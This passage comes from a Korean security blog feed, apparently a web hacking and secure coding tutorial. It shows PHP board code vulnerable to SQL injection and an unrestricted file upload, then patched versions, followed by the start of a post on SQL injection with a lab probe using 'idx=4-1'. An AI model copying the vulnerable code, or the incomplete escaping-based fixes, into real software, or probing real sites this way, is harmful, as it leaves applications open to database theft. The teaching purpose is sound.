	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$idx = $_GET[&quot;idx&quot;];

	$query = &quot;select * from {$tb_name} where idx={$idx}&quot;;
  
	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$idx 에 입력 검증 로직을 추가하여 SQL Injection에 안전한 코드로 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$idx 에 숫자만 입력할 수 있도록 is_numeric 함수를 사용하여 검증한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;modify.php 의 Action 페이지 - 시큐어코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735282831147&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$idx = $_GET[&quot;idx&quot;];

	if(!is_numeric($idx)) {
		echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	}

	$query = &quot;select * from {$tb_name} where idx={$idx}&quot;;
  
	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정 페이지의 $idx에는 숫자값 이외의 값은 입력이 불가하므로 SQL Injection에 안전하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 action 페이지 부분에 시큐어 코딩을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;aciton 페이지는 취약한 부분이 많은 페이지이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 소스코드 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735282951067&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	$mode = $_REQUEST[&quot;mode&quot;];
	$db_conn = mysql_conn();
	
	if($mode == &quot;write&quot;) {
		$title = $_POST[&quot;title&quot;];
		$id = $_SESSION[&quot;id&quot;];
		$writer = $_SESSION[&quot;name&quot;];
		$password = $_POST[&quot;password&quot;];
		$content = $_POST[&quot;content&quot;];
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}   
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}

		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;modify&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$title = $_POST[&quot;title&quot;];
		$password = $_POST[&quot;password&quot;];
		$content = $_POST[&quot;content&quot;];
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = $_POST[&quot;oldfile&quot;];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;delete&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$password = $_POST[&quot;password&quot;];
		
		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		
		$query = &quot;delete from {$tb_name} where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	}

	echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$mode는 작성,수정,삭제를 선택하는 변수로 SQL 구문에 영향을 받지 않으므로 상관없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 구문에 영향을 받는 파라미터를 확인해서 시큐어 코딩을 적용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$title, $id, $writer, $pasword, $content 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열이 입력되는 변수에는 real_escape_string을 사용하여 시큐어 코딩을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$secret은 on 인지 확인만하는 파라미터로(비밀글 여부) 값이 Server-Side에서 대입되기 때문에 SQL Injection에 취약한 부분은 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$uploadFile은 파일이 업로드 될때 특정 파일명에 대해 이스케이프 처리를 해야한다. &amp;rarr; real_escape_string&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$idx는 숫자값을 받아오므로 is_numeric 함수를 사용하여 숫자값이 아닌 경우 에러 메시지를 출력하도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 소스코드 - 시큐어코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735284324573&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	$mode = $_REQUEST[&quot;mode&quot;];
	$db_conn = mysql_conn();
	
	if($mode == &quot;write&quot;) {
		$title = $db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]);
		$id = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;id&quot;]);
		$writer = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;name&quot;]);
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content =$db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}   
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;modify&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$title = $db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]);
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = $db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = $_POST[&quot;oldfile&quot;];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}		

		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);

		$query = &quot;update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;delete&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}				
		
		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		
		$query = &quot;delete from {$tb_name} where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	}

	echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 페이지에 대한 SQL Injection 시큐어 코딩 적용이 완료되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hamait.tistory.com/342&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hamait.tistory.com/342&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>sql injection</category>
      <category>대응 방안</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/205</guid>
      <comments>https://it-log.tistory.com/205#entry205comment</comments>
      <pubDate>Fri, 27 Dec 2024 22:00:20 +0900</pubDate>
    </item>
    <item>
      <title>SQL Injection</title>
      <link>https://it-log.tistory.com/204</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) SQL Injection이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL은 RDBMS에서 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트와 웹 어플리케이션이 통신할 때 사용자 입력값에 SQL 구문 삽입을 통해 변조된 SQL 구문을 질의함.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 데이터 조회, 삭제 등의 다양한 공격이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;511&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cU3Kdr/btsK13dtijv/ugbTdAknj37Ineh5LRrSq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cU3Kdr/btsK13dtijv/ugbTdAknj37Ineh5LRrSq1/img.png&quot; data-alt=&quot;SQL Injection 설명&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cU3Kdr/btsK13dtijv/ugbTdAknj37Ineh5LRrSq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcU3Kdr%2FbtsK13dtijv%2FugbTdAknj37Ineh5LRrSq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;511&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;511&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;SQL Injection 설명&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 취약점 발생 원인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 공격자는 취약한 웹 어플리케이션을 대상으로 SQL 구문을 삽입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Server-Side Script에서 사용자 입력값을 받게되며, 미완성된 SQL 구문이 사용자 입력값을 통해서 완성된 SQL 구문으로 만들어진다. &amp;rarr; 취약점 발생(입력 값 검증 없이 구문 조합하게 되는 경우)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 완성된 SQL 구문으로 DB에 질의를 요청하게 된다.(변조된 SQL로 질의)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. DB는 질의에 대한 응답값을 서버로 반환 후, 결과 구성 후 공격자에게 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 반환된 응답값에는 공격자가 의도한 데이터 또는 쿠키, 세션이 포함되어 있을 수 있다. (공격자가 의도한 행위에 따라 다르다)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3fsqB/btsK2Wkdc1k/ApiUQCTG7uz3S6xOcp6d9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3fsqB/btsK2Wkdc1k/ApiUQCTG7uz3S6xOcp6d9K/img.png&quot; data-alt=&quot;SQL Injection 취약점 발생 원인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3fsqB/btsK2Wkdc1k/ApiUQCTG7uz3S6xOcp6d9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3fsqB%2FbtsK2Wkdc1k%2FApiUQCTG7uz3S6xOcp6d9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1364&quot; height=&quot;510&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;510&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;SQL Injection 취약점 발생 원인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JAVA 웹 어플리케이션 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String id = request.getParameter(&quot;id&quot;);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; id 라는 파라미터로 사용자로부터 값을 받게되면 id 변수를 SQL 문에 대입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String query = &quot;select * from member where id='&quot; + id + &quot;'&quot;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자 입력값을 통해서 SQL문이 완성된 후 query 변수에 대입, 이때 취약점이 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미완성된 SQL 구문 + 사용자 입력값이 조합될 때 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;입력값 검증 미흡으로 인해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 취약점이 발생한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-1 취약점 유/무 판별 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure 웹 사이트에 admin 계정으로 로그인 후 게시글을 2개 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sR4Rv/btsK1X5xm3q/YOkNQLhq5NJBVkm0AV2ho0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sR4Rv/btsK1X5xm3q/YOkNQLhq5NJBVkm0AV2ho0/img.png&quot; data-alt=&quot;게시글 작성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sR4Rv/btsK1X5xm3q/YOkNQLhq5NJBVkm0AV2ho0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsR4Rv%2FbtsK1X5xm3q%2FYOkNQLhq5NJBVkm0AV2ho0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;448&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;게시글 작성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test2를 클릭하면 idx=4를 확인할 수 있는데, 게시글 No가 idx 값을 의미한다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=3 &amp;rarr; test1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=4 &amp;rarr; test2&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/orZMc/btsK1rlJhbD/xYf7MEw28msKdmDh9X2uIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/orZMc/btsK1rlJhbD/xYf7MEw28msKdmDh9X2uIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/orZMc/btsK1rlJhbD/xYf7MEw28msKdmDh9X2uIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2ForZMc%2FbtsK1rlJhbD%2FxYf7MEw28msKdmDh9X2uIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;964&quot; height=&quot;608&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;590&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AYiO5/btsK1U1578b/gbePK7jRrvZFRCBoccuBuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AYiO5/btsK1U1578b/gbePK7jRrvZFRCBoccuBuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AYiO5/btsK1U1578b/gbePK7jRrvZFRCBoccuBuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAYiO5%2FbtsK1U1578b%2FgbePK7jRrvZFRCBoccuBuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;966&quot; height=&quot;590&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=4-1을 입력하고 이동하게되면 test1 게시글로 넘어가게 된다. 즉 idx=3으로 넘어가게 된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;산술연산이 되는 것을 통해서 취약점 판별이 가능하다. (빠른 취약점 존재 유무 판단 시 유용하다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where idx=4-1 &amp;rarr; idx가 3이 되므로 test1 게시글로 이동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자 입력(파라미터) - 숫자형&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;산술 연산자를 통해 판별 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$query = &quot;select * from board where idx={$idx}&quot;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String query = &quot;select * from board where idx=&quot; + idx + &quot;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
